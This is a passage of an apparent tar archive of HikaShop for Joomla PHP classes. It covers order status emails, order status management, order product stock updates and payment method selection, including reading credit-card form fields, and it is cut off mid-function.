'.hikashop_table('category').' AS a LEFT JOIN
'.hikashop_table($trans_table,false).' AS b ON
a.category_id=b.reference_id AND
b.reference_table=\'hikashop_category\' AND
b.reference_field=\'category_name\' AND b.published=1 AND
language_id='.$lgid.' WHERE a.category_type=\'status\'
AND
a.category_name='.$this->database->Quote($order->order_status);
							$this->database->setQuery($query);
							$result = $this->database->loadResult();
							if(!empty($result)) {
								$order->mail_status = $result;
							}
						}

					} elseif(!empty($order->value)) {
						$order->mail_status = $order->value;
					}
				} else {
					$query = 'SELECT * FROM
'.hikashop_table('category').' WHERE
category_type=\'status\' AND
category_name='.$this->database->Quote($order->order_status);
					$this->database->setQuery($query);
					$status = $this->database->loadObject();
					if(!empty($status->category_name)&&$status->category_name!=$order->order_status)
{
						$order->mail_status = $status->category_name;
					}
				}
				if(empty($order->mail_status)) {
					$val = str_replace('
','_',strtoupper($order->order_status));
					$trans = JText::_($val);
					if($val==$trans) {
						$order->mail_status = $order->order_status;
					} else {
						$order->mail_status = $trans;
					}
				}
			} else {
				$order->mail_status = '';
			}
		}
		$mail_status = $order->mail_status;
		$mailClass = hikashop_get('class.mail');
		$order->mail = $mailClass->get($type,$order);
		$order->mail_status = $mail_status;
		$order->mail->subject =
JText::sprintf($order->mail->subject,$order->order_number,$mail_status,HIKASHOP_LIVE);
		if(!empty($order->customer->user_email)) {
			$order->mail->dst_email =&
$order->customer->user_email;
		} else {
			$order->mail->dst_email = '';
		}
		if(!empty($order->customer->name)) {
			$order->mail->dst_name =& $order->customer->name;
		} else {
			$order->mail->dst_name = '';
		}
		if($app->isAdmin()) {
			$config = JFactory::getConfig();
			if(!empty($this->oldLocale)){
				$config->set('language',$this->oldLocale);
				$debug = $config->get('debug');
				if(HIKASHOP_J25) JFactory::$language = new
hikaLanguage($this->oldLocale, $debug);
			}
			$lang = JFactory::getLanguage();
			$override_path =
JLanguage::getLanguagePath(JPATH_ROOT).DS.'overrides'.$lang->getTag().'.override.ini';
			if(version_compare(JVERSION,'1.6','>=')&&
file_exists($override_path)) {
				$lang->override = $lang->parse($override_path);
			}
			$lang->load(HIKASHOP_COMPONENT, JPATH_SITE, null, true );
			if(version_compare(JVERSION,'1.6','<') &&
file_exists($override_path)) {
				$lang->_load($override_path,'override');
			}elseif(HIKASHOP_J25){
				$lang->publicLoadLanguage($override_path,'override');
			}
		}
	}

	function loadLocale(&$order) {
		$locale = '';
		if(!empty($order->customer->user_cms_id)) {
			$user = JFactory::getUser($order->customer->user_cms_id);
			$locale = $user->getParam('language');
			if(empty($locale)) {
				$locale = $user->getParam('admin_language');
			}
		}
		if(empty($locale)) {
			$params   = JComponentHelper::getParams('com_languages');
			$locale = $params->get('site', 'en-GB');
		}
		if(HIKASHOP_J16){
			$config = JFactory::getConfig();
			$this->oldLocale=$config->get('language');
			$config->set('language',$locale);
			$debug = $config->get('debug');
			if(HIKASHOP_J25) JFactory::$language = new hikaLanguage($locale,
$debug);
		}
		$lang = JFactory::getLanguage();
		$override_path =
JLanguage::getLanguagePath(JPATH_ROOT).DS.'overrides'.$locale.'.override.ini';
		$lang->load(HIKASHOP_COMPONENT, JPATH_SITE, $locale, true );
		if(file_exists($override_path)){
			if(!HIKASHOP_J16) {
				$lang->_load($override_path,'override');
			}elseif(HIKASHOP_J25){
				$lang->publicLoadLanguage($override_path,'override');
			}
		}
		return $locale;
	}

	function delete(&$elements) {
		if(!is_array($elements)) {
			$elements = array($elements);
		}
		JPluginHelper::importPlugin( 'hikashop' );
		JPluginHelper::importPlugin( 'hikashoppayment' );
		JPluginHelper::importPlugin( 'hikashopshipping' );
		$dispatcher = JDispatcher::getInstance();
		$do=true;
		$dispatcher->trigger( 'onBeforeOrderDelete', array( &
$elements, &$do) );
		if(!$do) {
			return false;
		}
		$string=array();
		foreach($elements as $key => $val) {
			$string[$val] = $this->database->Quote($val);
		}
		$query='SELECT order_billing_address_id,order_shipping_address_id
FROM '.hikashop_table('order').' WHERE order_id IN
('.implode(',',$string).')';
		$this->database->setQuery($query);
		$orders = $this->database->loadObjectList();
		$result=parent::delete($elements);
		if($result) {
			if(!empty($orders)) {
				$addresses=array();
				foreach($orders as $order) {
					$addresses[$order->order_billing_address_id]=$order->order_billing_address_id;
					$addresses[$order->order_shipping_address_id]=$order->order_shipping_address_id;
				}

				$addressClass=hikashop_get('class.address');
				foreach($addresses as $address) {
					$addressClass->delete($address,true);
				}
			}

			$dispatcher->trigger( 'onAfterOrderDelete', array( &
$elements) );
		}
		return $result;
	}

	function copyOrder($order_id){
		$order = $this->loadFullOrder($order_id);
		unset($order->order_id);
		unset($order->order_number);
		unset($order->order_invoice_id);
		unset($order->order_invoice_number);
		unset($order->order_subtotal);
		unset($order->override_shipping_address);
		unset($order->order_subtotal_no_vat);
		unset($order->history);
		$order->cart =& $order;
		$this->sendEmailAfterOrderCreation = false;
		foreach($order->products as $k => $product){
			$order->products[$k]->cart_product_id =
$order->products[$k]->order_product_id;
			$order->products[$k]->cart_product_option_parent_id =
$order->products[$k]->order_product_option_parent_id;
		}
		return $this->save($order);
	}
}
orderstatus.php000064400000012367151160302620007641 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.4.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2021 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopOrderstatusClass extends hikashopClass {
	public $tables = array('orderstatus');
	public $pkeys = array('orderstatus_id');
	public $toggle = array('orderstatus_published' =>
'orderstatus_id');

	public function get($element, $default = null) {
		$ret = parent::get($element, $default);

		return $ret;
	}

	public function save(&$element) {
		$new = empty($element->orderstatus_id);

		if(empty($element->old) &&
!empty($element->orderstatus_id))
			$element->old = $this->get($element->orderstatus_id);
		if(isset($element->old) && $element->old === false)
			unset($element->old);

		if(!$new)
			unset($element->orderstatus_namekey);

		if($new && empty($element->orderstatus_namekey))
			return false;

		JPluginHelper::importPlugin('hikashop');
		$app = JFactory::getApplication();
		$do = true;
		if($new)
			$app->triggerEvent('onBeforeOrderstatusCreate', array(
&$element, &$do) );
		else
			$app->triggerEvent('onBeforeOrderstatusUpdate', array(
&$element, &$do) );

		if(!$do)
			return false;

		$status = parent::save($element);
		if(!$status)
			return false;

		if($new)
			$app->triggerEvent('onAfterOrderstatusCreate', array(
&$element ) );
		else
			$app->triggerEvent('onAfterOrderstatusUpdate', array(
&$element ) );

		return $status;
	}

	public function saveForm() {
		$orderstatus_id = hikashop_getCID('orderstatus_id');
		$oldOrderstatus = null;
		if(!empty($orderstatus_id))
			$oldOrderstatus = $this->get($orderstatus_id);

		$fieldsClass = hikashop_get('class.field');
		$element = $fieldsClass->getInput('orderstatus',
$oldOrderstatus);
		if(empty($element))
			return false;

		$element->orderstatus_description =
hikaInput::get()->getRaw('orderstatus_description',
'');
		if(!empty($oldOrderstatus) && $oldOrderstatus !== false)
			$element->old = $oldOrderstatus;

		if(empty($element->orderstatus_id) &&
empty($element->orderstatus_namekey)) {
			$element->orderstatus_namekey = $element->orderstatus_name;
		}
		if(!empty($element->orderstatus_namekey)) {
			$element->orderstatus_namekey = preg_replace(
				'#[^a-z0-9_]#i',
				'',
				strtolower(trim($element->orderstatus_namekey))
			);

			if(empty($element->orderstatus_namekey)) {
				$app = JFactory::getApplication();
				$app->enqueueMessage('Please enter a namekey in English.',
'error');
				hikaInput::get()->set('fail', $element);
				return false;
			}
		}

		$status = $this->save($element);

		if($status) {

		} else {
			hikaInput::get()->set('fail', $element);
		}
		return $status;
	}

	public function getList($filters = array(), $options = array()) {
		$query = 'SELECT orderstatus.* '.
			' FROM ' .  hikashop_table('orderstatus') . '
AS orderstatus '.
			' WHERE orderstatus.orderstatus_published = 1 '.
			' ORDER BY orderstatus.orderstatus_ordering';
		$this->db->setQuery($query);
		$ret = $this->db->loadObjectList('orderstatus_namekey');

		if(!empty($options['legacy'])) {
			foreach($ret as &$r) {
				$r->category_name = $r->orderstatus_namekey;
				$r->translation = $r->orderstatus_name;
			}
		}
		return $ret;
	}

	public function &getNameboxData($typeConfig, &$fullLoad, $mode,
$value, $search, $options) {
		$ret = array(
			0 => array(),
			1 => array()
		);

		$fullLoad = false;
		$displayFormat = !empty($options['displayFormat']) ?
$options['displayFormat'] :
@$typeConfig['displayFormat'];

		$start = (int)@$options['start']; // TODO
		$limit = (int)@$options['limit'];
		$page = (int)@$options['page'];
		if($limit <= 0)
			$limit = 50;

		$select = array('o.*');
		$table = array(hikashop_table('orderstatus').' AS
o');
		$where = array('o.orderstatus_published = 1');

		if(!empty($search)) {
			$searchStr = "'%" . ((HIKASHOP_J30) ?
$this->db->escape($search, true) :
$this->db->getEscaped($search, true) ) . "%'";
			$where[] = '(o.orderstatus_name LIKE ' . $searchStr . '
OR o.orderstatus_namekey LIKE ' . $searchStr . ')';
		}

		$order = ' ORDER BY o.orderstatus_ordering ASC, o.orderstatus_name
ASC';

		$query = 'SELECT '.implode(', ', $select) . '
FROM ' . implode(' ', $table) . ' WHERE ' .
implode(' AND ', $where).$order;
		$this->db->setQuery($query, $page, $limit);

		$orderstatuses =
$this->db->loadObjectList('orderstatus_id');

		if(count($orderstatuses) < $limit)
			$fullLoad = true;

		foreach($orderstatuses as $orderstatus) {
			if(!empty($orderstatus->orderstatus_name))
				$ret[0][$orderstatus->orderstatus_namekey] =
hikashop_orderStatus($orderstatus->orderstatus_name);
			else
				$ret[0][$orderstatus->orderstatus_namekey] =
hikashop_orderStatus($orderstatus->orderstatus_namekey);
		}

		if(!empty($value)) {
			if($mode == hikashopNameboxType::NAMEBOX_SINGLE &&
isset($ret[0][$value])) {
				$ret[1][$value] = $ret[0][$value];
			} elseif($mode == hikashopNameboxType::NAMEBOX_MULTIPLE &&
is_array($value)) {
				foreach($value as $v) {
					if(isset($ret[0][$v])) {
						$ret[1][$v] = $ret[0][$v];
					}
				}
			}
		}
		return $ret;
	}
}
order_product.php000064400000032146151160302620010132 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopOrder_productClass extends hikashopClass{
	var $tables = array('order_product');
	var $pkeys = array('order_product_id');

	function save(&$products){
		if(empty($products))
			return true;

		$items = array();
		$updates = array();
		$productsQuantity = array();
		$discounts = array();
		$fields = array(
			'order_id,product_id',
			'order_product_quantity',
			'order_product_name',
			'order_product_code',
			'order_product_price',
			'order_product_tax',
			'order_product_options',
			'order_product_option_parent_id',
			'order_product_tax_info',
			'order_product_wishlist_id',
			'order_product_shipping_id',
			'order_product_shipping_method',
			'order_product_shipping_price',
			'order_product_shipping_tax',
			'order_product_shipping_params'
		);

		if(hikashop_level(2)){
			$element=null;
			$fieldsClass = hikashop_get('class.field');
			$itemFields =
$fieldsClass->getFields('frontcomp',$element,'item');
			if(!empty($itemFields)){
				foreach($itemFields as $field){
					if($field->field_type=='customtext') continue;
					$fields[]=$field->field_namekey;
				}
			}
		}
		$order_id = 0;
		$class = hikashop_get('class.product');
		foreach($products as $product){
			if(isset($product->order_product_tax_info) &&
!is_string($product->order_product_tax_info)){
				$product->order_product_tax_info =
serialize($product->order_product_tax_info);
			}
			$order_id = (int)$product->order_id;
			if(!empty($product->order_product_options) &&
!is_string($product->order_product_options)){
				$product->order_product_options =
serialize($product->order_product_options);
			}
			$line = array(
				$order_id,
				(int)$product->product_id,
				(int)$product->order_product_quantity,
				$this->database->Quote($product->order_product_name),
				$this->database->Quote($product->order_product_code),
				$this->database->Quote($product->order_product_price),
				$this->database->Quote(@$product->order_product_tax),
				$this->database->Quote(@$product->order_product_options),
				(int)@$product->cart_product_id,
				$this->database->Quote(@$product->order_product_tax_info),
				(int)@$product->order_product_wishlist_id,
				$this->database->Quote(@$product->order_product_shipping_id),
				$this->database->Quote(@$product->order_product_shipping_method),
				(float)@$product->order_product_shipping_price,
				(float)@$product->order_product_shipping_tax,
				$this->database->Quote(@$product->order_product_shipping_params)
			);
			if(!empty($itemFields)){
				foreach($itemFields as $field){
					$namekey=$field->field_namekey;
					if($field->field_type=='customtext') continue;
					$line[] = $this->database->Quote(@$product->$namekey);
				}
			}
			$items[] = '('.implode(',',$line).')';
			if(!empty($product->product_id)) {
				if(empty($product->no_update_qty)) {
					if(empty($productsQuantity[(int)$product->product_id])){
						$productsQuantity[(int)$product->product_id] =
$product->order_product_quantity;
					}else{
						$productsQuantity[(int)$product->product_id] +=
$product->order_product_quantity;
					}

					$prod = $class->get((int)$product->product_id);
					if($prod->product_type=='variant' &&
!empty($prod->product_parent_id)){
						if(empty($productsQuantity[(int)$prod->product_parent_id])){
							$productsQuantity[(int)$prod->product_parent_id] =
$product->order_product_quantity;
						}else{
							$productsQuantity[(int)$prod->product_parent_id] +=
$product->order_product_quantity;
						}
					}
				}
			}

			if(!empty($product->discount)){
				if(empty($discounts[$product->discount->discount_code])){
					$discounts[$product->discount->discount_code] = 0;
				}
				$discounts[$product->discount->discount_code] +=
(int)$product->order_product_quantity;
			}
		}

		if(!empty($productsQuantity)){
			foreach($productsQuantity as $id => $qty){
				if(empty($updates[$qty])){
					$updates[$qty] = array();
				}
				$updates[$qty][]=$id;
			}
		}

		if(!empty($updates)){
			foreach($updates as $k => $update){
				$query = 'UPDATE '.hikashop_table('product').'
SET product_quantity = product_quantity - '.(int)$k.' WHERE
product_id IN ('.implode(',',$update).') AND
product_quantity >= 0 AND product_quantity > '.(int)($k-1);
				$this->database->setQuery($query);
				$this->database->query();
				$query = 'UPDATE '.hikashop_table('product').'
SET product_sales = product_sales + '.(int)$k.' WHERE product_id
IN ('.implode(',',$update).')';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}
		$query='INSERT IGNORE INTO
'.hikashop_table('order_product').'
('.implode(',',$fields).') VALUES
'.implode(',',$items);
		$this->database->setQuery($query);
		$this->database->query();

		$this->database->setQuery('SELECT * FROM
'.hikashop_table('order_product').' WHERE
order_id='.$order_id);
		$newProducts =
$this->database->loadObjectList('order_product_option_parent_id');
		$mainProducts = array();
		foreach($products as $product) {
			if(!empty($product->cart_product_option_parent_id)) {
				$mainProducts[$product->cart_product_option_parent_id][]=$product->cart_product_id;
			}
		}
		$keep = array();
		if(!empty($mainProducts)) {
			foreach($mainProducts as $k => $v) {
				$keep[]=(int)@$newProducts[$k]->order_product_id;
				$this->database->setQuery('UPDATE
'.hikashop_table('order_product').' SET
order_product_option_parent_id='.(int)@$newProducts[$k]->order_product_id.'
WHERE order_product_option_parent_id IN
('.implode(',',$v).') AND order_id='.$order_id);
				$this->database->query();
			}
		}
		if(!empty($keep)) {
			$keep = ' AND order_product_option_parent_id NOT IN
('.implode(',',$keep).')';
		} else {
			$keep = '';
		}
		$this->database->setQuery('UPDATE
'.hikashop_table('order_product').' SET
order_product_option_parent_id=0 WHERE order_id='.$order_id.$keep);
		$this->database->query();

		if(!empty($discounts)) {
			$discountUpdates = array();
			foreach($discounts as $code => $qty) {
				$discountUpdates[$qty][]=$this->database->Quote($code);
			}
			foreach($discountUpdates as $k => $update) {
				$query = 'UPDATE
'.hikashop_table('discount').' SET discount_used_times
= discount_used_times + '.(int)$k.' WHERE discount_code IN
('.implode(',',$update).')';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}
		return true;
	}

	function cancelProductReservation($order_id) {
		$query = 'SELECT * FROM
'.hikashop_table('order_product').' WHERE
order_id='.(int)$order_id;
		$this->database->setQuery($query);
		$items = $this->database->loadObjectList();

		if(!empty($items)){
			$updates = array();
			$productsQuantity = array();
			$class = hikashop_get('class.product');
			foreach($items as $item){
				if(empty($productsQuantity[(int)$item->product_id])){
					$productsQuantity[(int)$item->product_id] =
$item->order_product_quantity;
				}else{
					$productsQuantity[(int)$item->product_id] +=
$item->order_product_quantity;
				}
				$prod=$class->get((int)$item->product_id);
				if(!empty($prod->product_parent_id) &&
$prod->product_type=='variant'){
					if(empty($productsQuantity[(int)$prod->product_parent_id])){
						$productsQuantity[(int)$prod->product_parent_id] =
$item->order_product_quantity;
					}else{
						$productsQuantity[(int)$prod->product_parent_id] +=
$item->order_product_quantity;
					}
				}
			}
			if(!empty($productsQuantity)){
				foreach($productsQuantity as $id => $qty){
					if(empty($updates[$qty])){
						$updates[$qty] = array();
					}
					$updates[$qty][]=$id;
				}
			}
			foreach($updates as $k => $update){
				$query = 'UPDATE '.hikashop_table('product').'
SET product_quantity = product_quantity + '.(int)$k.' WHERE
product_id IN ('.implode(',',$update).') AND
product_quantity > -1';
				$this->database->setQuery($query);
				$this->database->query();
				$query = 'UPDATE '.hikashop_table('product').'
SET product_sales = product_sales - '.(int)$k.' WHERE product_id
IN ('.implode(',',$update).') AND product_sales >
0';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}
	}

	function resetProductReservation($order_id){
		$query = 'SELECT * FROM
'.hikashop_table('order_product').' WHERE
order_id='.(int)$order_id;
		$this->database->setQuery($query);
		$items = $this->database->loadObjectList();

		if(!empty($items)){
			$updates = array();
			$productsQuantity = array();
			$class = hikashop_get('class.product');
			foreach($items as $item){
				if(empty($productsQuantity[(int)$item->product_id])){
					$productsQuantity[(int)$item->product_id] =
$item->order_product_quantity;
				}else{
					$productsQuantity[(int)$item->product_id] +=
$item->order_product_quantity;
				}
				$prod=$class->get((int)$item->product_id);
				if(!empty($prod->product_parent_id) &&
$prod->product_type=='variant'){
					if(empty($productsQuantity[(int)$prod->product_parent_id])){
						$productsQuantity[(int)$prod->product_parent_id] =
$item->order_product_quantity;
					}else{
						$productsQuantity[(int)$prod->product_parent_id] +=
$item->order_product_quantity;
					}
				}
			}
			if(!empty($productsQuantity)){
				foreach($productsQuantity as $id => $qty){
					if(empty($updates[$qty])){
						$updates[$qty] = array();
					}
					$updates[$qty][]=$id;
				}
			}
			foreach($updates as $k => $update){
				$query = 'UPDATE '.hikashop_table('product').'
SET product_quantity = product_quantity - '.(int)$k.' WHERE
product_id IN ('.implode(',',$update).') AND
product_quantity >= 0 AND product_quantity > '.(int)($k-1);
				$this->database->setQuery($query);
				$this->database->query();
				$query = 'UPDATE '.hikashop_table('product').'
SET product_sales = product_sales + '.(int)$k.' WHERE product_id
IN ('.implode(',',$update).')';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}
	}

	function get($order_product_id,$default=null){
		$result = parent::get($order_product_id);
		if(!empty($result->order_product_tax_info)){
			$result->order_product_tax_info =
unserialize($result->order_product_tax_info);
		}
		return $result;
	}

	function update(&$product){
		$old = null;
		if(!empty($product->order_product_id))
			$old = $this->get($product->order_product_id);

		$update_quantities = true;
		if(!empty($product->no_update_qty)) {
			unset($product->no_update_qty);
			$update_quantities = false;
		}
		if($update_quantities && (isset($product->change) ||
((empty($old) && !empty($product->product_id))||
(!empty($old->product_id) && $old->order_product_quantity !=
$product->order_product_quantity)))) {
			$k = $product->order_product_quantity;
			if(!empty($old)){
				if(isset($product->change)){
					if($product->change == 'plus')
						$k = -(int)$product->order_product_quantity;
					elseif($product->change == 'minus')
						$k = (int)$product->order_product_quantity;
					unset($product->change);
				}else{
					$k = $product->order_product_quantity -
$old->order_product_quantity;
				}
			}
			if(!empty($product->product_id))
				$product_id = (int)$product->product_id;
			else
				$product_id = (int)$old->product_id;

			$filters = array('product_id='.(int)$product_id);
			$productClass = hikashop_get('class.product');
			$prod = $productClass->get($product_id);
			if(!empty($prod) && $prod->product_type=='variant'
&& !empty($prod->product_parent_id)){
				$filters[] = 'product_id='.(int)$prod->product_parent_id;
			}
			$query = 'UPDATE '.hikashop_table('product').'
SET product_quantity = product_quantity - '.$k.' WHERE
('.implode(' OR ',$filters).') AND product_quantity
>= 0 AND product_quantity > '.(int)($k - 1);
			$this->database->setQuery($query);
			$this->database->query();
			$query = 'UPDATE '.hikashop_table('product').'
SET product_sales = product_sales + '.$k.' WHERE product_sales
>= '.(-$k).' AND '.implode(' AND ',$filters);
			$this->database->setQuery($query);
			$this->database->query();
		}

		if(!empty($product->tax_namekey)){
			$tax = new stdClass();
			if(!empty($product->product_id)){
				if(is_string($old->order_product_tax_info))
					$old->order_product_tax_info =
unserialize($old->order_product_tax_info);
				$tax = reset($old->order_product_tax_info);
			}
			$tax->tax_namekey = $product->tax_namekey;
			$tax->tax_amount = $product->order_product_tax;
			$product->order_product_tax_info = array($tax);
		}

		if(isset($product->order_product_tax_info) &&
!is_string($product->order_product_tax_info)){
			$product->order_product_tax_info =
serialize($product->order_product_tax_info);
		}

		if(empty($product->order_product_quantity)){
			return $this->delete($product->order_product_id);
		}
		if(isset($product->change)) unset($product->change);
		if(isset($product->tax_namekey)) unset($product->tax_namekey);
		$product->order_product_id = parent::save($product);
		return $product->order_product_id;
	}
}
payment.php000064400000034346151160302620006740 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopPaymentClass extends hikashopClass{
	var $tables = array('payment');
	var $pkeys = array('payment_id');
	var $toggle =
array('payment_published'=>'payment_id');
	var $deleteToggle = array('payment' =>
array('payment_type', 'payment_id'));

	function getMethods(&$order, $currency='') {
		$pluginClass = hikashop_get('class.plugins');
		$shipping = '';
		if(!empty($order->shipping))
			$shipping =
$order->shipping[0]->shipping_type.'_'.$order->shipping[0]->shipping_id;
		$rates = $pluginClass->getMethods('payment', '',
$shipping, $currency);

		if(bccomp($order->total->prices[0]->price_value,0,5) &&
!empty($rates)) {
			$currencyClass = hikashop_get('class.currency');
			$currencyClass->convertPayments($rates);
		}
		return $rates;
	}

	function &getPayments(&$order,$reset=false) {
		static $usable_methods = null;
		if($reset) $usable_methods = null;
		if(!is_null($usable_methods))
			return $usable_methods;

		JPluginHelper::importPlugin('hikashoppayment');
		$dispatcher = JDispatcher::getInstance();
		$max = 0;
		$payment = '';

		if(!empty($order->payment->payment_type) &&
!empty($order->payment->payment_id))
			$payment =
$order->payment->payment_type.'_'.$order->payment->payment_id;

		$currency = @$order->total->prices[0]->price_currency_id;
		if(empty($currency))
			$currency = hikashop_getCurrency();

		$methods = $this->getMethods($order, $currency);

		if(empty($methods)) {
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('CONFIGURE_YOUR_PAYMENT_METHODS'));
		} else {
			$already = array();
			$price_all =
@$order->full_total->prices[0]->price_value_with_tax;
			if(isset($order->full_total->prices[0]->price_value_without_payment_with_tax))
{
				$price_all =
$order->full_total->prices[0]->price_value_without_payment_with_tax;
			}

			$zoneClass = hikashop_get('class.zone');
			$zones = $zoneClass->getOrderZones($order);

			foreach($methods as $k => $method) {
				if(!empty($method->payment_zone_namekey) &&
!in_array($method->payment_zone_namekey, $zones)) {
					unset($methods[$k]);
					continue;
				}

				if(!empty($method->payment_params->payment_zip_prefix) ||
!empty($method->payment_params->payment_min_zip) ||
!empty($method->payment_params->payment_max_zip) ||
!empty($method->payment_params->payment_zip_suffix)) {
					$checkDone = false;
					if(!empty($order->shipping_address) &&
!empty($order->shipping_address->address_post_code)) {
						if(preg_match('#([a-z]*)([0-9]+)(.*)#i',
preg_replace('#[^a-z0-9]#i', '',
$order->shipping_address->address_post_code), $match)) {
							$checkDone = true;
							$prefix = $match[1];
							$main = $match[2];
							$suffix = $match[3];
							if(!empty($method->payment_params->payment_zip_prefix)
&& $method->payment_params->payment_zip_prefix != $prefix) {
								unset($methods[$k]);
								continue;
							}
							if(!empty($method->payment_params->payment_min_zip) &&
$method->payment_params->payment_min_zip > $main) {
								unset($methods[$k]);
								continue;
							}
							if(!empty($method->payment_params->payment_max_zip) &&
$method->payment_params->payment_max_zip < $main) {
								unset($methods[$k]);
								continue;
							}
							if(!empty($method->payment_params->payment_zip_suffix)
&& $method->payment_params->payment_zip_suffix != $suffix) {
								unset($methods[$k]);
								continue;
							}
						}
					}
					if(!$checkDone) {
						unset($methods[$k]);
						continue;
					}
				}

				$methods[$k]->payment_price = ($price_all *
(float)@$method->payment_params->payment_percentage / 100) +
@$method->payment_price;

				$methods[$k]->ordering = $method->payment_ordering;

				if(!empty($method->ordering) && $max <
$method->ordering){
					$max = $method->ordering;
				}
			}
			foreach($methods as $k => $method) {
				if(empty($method->ordering)) {
					$max++;
					$methods[$k]->ordering = $max;
				}
				while(isset($already[$methods[$k]->ordering])) {
					$max++;
					$methods[$k]->ordering = $max;
				}
				$already[$methods[$k]->ordering] = true;
			}
			$dispatcher->trigger('onPaymentDisplay', array(&$order,
&$methods, &$usable_methods));

			$cartClass = hikashop_get('class.cart');
			$paymentType = $cartClass->checkSubscription($order);
			if(is_array($usable_methods)){
				foreach($usable_methods as $k => $usable_method){
					if($paymentType == 'noRecurring' &&
isset($usable_method->recurring) && $usable_method->recurring
== 1){
						unset($usable_methods[$k]);
					}
					else if($paymentType == 'recurring' &&
(!isset($usable_method->recurring) || $usable_method->recurring !=
1)){
						unset($usable_methods[$k]);
					}
				}
			}
		}
		if(!empty($usable_methods)){
			ksort($usable_methods);
		}else{
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('NO_PAYMENT_METHODS_FOUND'));
			$usable_methods=false;
		}
		return $usable_methods;
	}

	function get($id,$default=''){
		$result = parent::get($id);
		if(!empty($result->payment_params)){
			$result->payment_params = unserialize($result->payment_params);
		}
		return $result;
	}


	function save(&$element, $reorder = true) {
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if(empty($element->payment_id))
			$dispatcher->trigger('onBeforeHikaPluginCreate',
array('payment', &$element, &$do));
		else
			$dispatcher->trigger('onBeforeHikaPluginUpdate',
array('payment', &$element, &$do));

		if(!$do)
			return false;

		if(isset($element->payment_params) &&
!is_string($element->payment_params)){
			$element->payment_params = serialize($element->payment_params);
		}

		if(isset($element->payment_shipping_methods) &&
is_array($element->payment_shipping_methods)) {
			$element->payment_shipping_methods = implode("\n",
$element->payment_shipping_methods);
		}
		if(isset($element->payment_currency) &&
is_array($element->payment_currency)) {
			$element->payment_currency = implode(",",
$element->payment_currency);
			if(!empty($element->payment_currency))
				$element->payment_currency =
','.$element->payment_currency.',';
		}

		if(empty($element->payment_id))
			unset($element->payment_id);

		$status = parent::save($element);
		if($status && empty($element->payment_id)) {
			$element->payment_id = $status;
			if($reorder) {
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'payment_id';
				$orderClass->table = 'payment';
				$orderClass->groupVal = $element->payment_type;
				$orderClass->orderingMap = 'payment_ordering';
				$orderClass->reOrder();
			}
		}

		if($status && !empty($element->payment_published) &&
!empty($element->payment_id)) {
			$db = JFactory::getDBO();
			$query = 'SELECT payment_type FROM ' .
hikashop_table('payment') . ' WHERE payment_id = ' .
(int)$element->payment_id;
			$db->setQuery($query);
			$name = $db->loadResult();
			if(!HIKASHOP_J16) {
				$query = 'UPDATE
'.hikashop_table('plugins',false).' SET published = 1
WHERE published = 0 AND element = ' . $db->Quote($name) . '
AND folder = ' . $db->Quote('hikashoppayment');
			} else {
				$query = 'UPDATE
'.hikashop_table('extensions',false).' SET enabled = 1
WHERE enabled = 0 AND type = ' . $db->Quote('plugin') .
' AND element = ' . $db->Quote($name) . ' AND folder =
' . $db->Quote('hikashoppayment');
			}
			$db->setQuery($query);
			$db->query();
		}
		return $status;
	}

	function readCC() {
		$app = JFactory::getApplication();

		$payment = $app->getUserState(
HIKASHOP_COMPONENT.'.payment_method');
		$payment_id = $app->getUserState(
HIKASHOP_COMPONENT.'.payment_id');
		$payment_data = $app->getUserState(
HIKASHOP_COMPONENT.'.payment_data');
		$ret = false;

		if(!empty($payment_data->ask_cc)){
			$cc_number = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_number');
			$cc_month = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_month');
			$cc_year = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_year');
			$cc_CCV = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_CCV');
			$cc_type = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_type');
			$cc_owner = $app->getUserState(
HIKASHOP_COMPONENT.'.cc_owner');
			if(empty($cc_number) || empty($cc_month) || empty($cc_year) ||
(empty($cc_CCV)&&!empty($payment_data->ask_ccv)) ||
(empty($cc_owner)&&!empty($payment_data->ask_owner))){
				$cc_numbers = JRequest::getVar(
'hikashop_credit_card_number', array(), '',
'array' );
				$cc_number='';
				if(!empty($cc_numbers[$payment.'_'.$payment_id])){
					$cc_number=preg_replace('#[^0-9]#','',$cc_numbers[$payment.'_'.$payment_id]);
				}
				$cc_months = JRequest::getVar( 'hikashop_credit_card_month',
array(), '', 'array' );
				$cc_month='';
				if(!empty($cc_months[$payment.'_'.$payment_id])){
					$cc_month=substr(preg_replace('#[^0-9]#','',$cc_months[$payment.'_'.$payment_id]),0,2);
					if(strlen($cc_month)==1){
						$cc_month='0'.$cc_month;
					}
				}
				$cc_years = JRequest::getVar( 'hikashop_credit_card_year',
array(), '', 'array' );
				$cc_year='';
				if(!empty($cc_years[$payment.'_'.$payment_id])){
					$cc_year=substr(preg_replace('#[^0-9]#','',$cc_years[$payment.'_'.$payment_id]),0,2);
					if(strlen($cc_year)==1){
						$cc_year='0'.$cc_year;
					}
				}
				$cc_CCVs = JRequest::getVar( 'hikashop_credit_card_CCV',
array(), '', 'array' );
				$cc_CCV='';
				if(!empty($cc_CCVs[$payment.'_'.$payment_id])){
